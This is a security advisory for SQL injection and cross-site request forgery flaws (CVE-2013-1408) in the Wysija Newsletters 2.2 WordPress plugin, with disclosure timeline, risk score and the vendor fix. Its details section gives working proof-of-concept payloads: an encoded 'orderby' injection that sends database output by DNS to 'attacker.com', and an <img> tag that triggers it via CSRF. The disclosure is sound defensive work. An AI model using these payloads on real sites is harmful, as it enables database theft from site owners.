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WordPress Wysija Newsletters 2.2 SQL Injection

WordPress Wysija Newsletters 2.2 SQL Injection
Posted Feb 6, 2013
Authored by High-Tech Bridge SA | Site htbridge.com

WordPress Wysija Newsletters plugin version 2.2 suffers from cross site request forgery and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, csrf
advisories | CVE-2013-1408
SHA-256 | 9dde7457fba5a279d311d740eafd71d7c2ae6a2f5ae2fe36607c5399443b6fbe

WordPress Wysija Newsletters 2.2 SQL Injection

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Advisory ID: HTB23140
Product: Wysija Newsletters WordPress plugin
Vendor: Wysija
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Vendor Notification: January 16, 2013
Vendor Patch: January 18, 2013
Public Disclosure: February 6, 2013
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-1408
Risk Level: Medium
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Wysija Newsletters WordPress plugin, which can be exploited to perform SQL Injection attacks.


1) SQL Injections in Wysija Newsletters WordPress plugin: CVE-2013-1408

The vulnerabilities exist due to insufficient filtration of user-supplied input passed via the "search" and "orderby" HTTP GET parameters to the "/wp-admin/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to cross-site request forgery attacks. In order to do so an attacker should trick the logged-in administrator into visiting a web page with CSRF exploit.

Basic CSRF exploit:

<img src="http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">


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Solution:

Upgrade to Wysija Newsletters 2.2.1

More Information:
http://wordpress.org/extend/plugins/wysija-newsletters/changelog/

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References:

[1] High-Tech Bridge Advisory HTB23140 - https://www.htbridge.com/advisory/HTB23140 - SQL Injection vulnerability in Wysija Newsletters WordPress plugin.
[2] Wysija Newsletters - http://www.wysija.com/ - A new and simple newsletter solution for WordPress.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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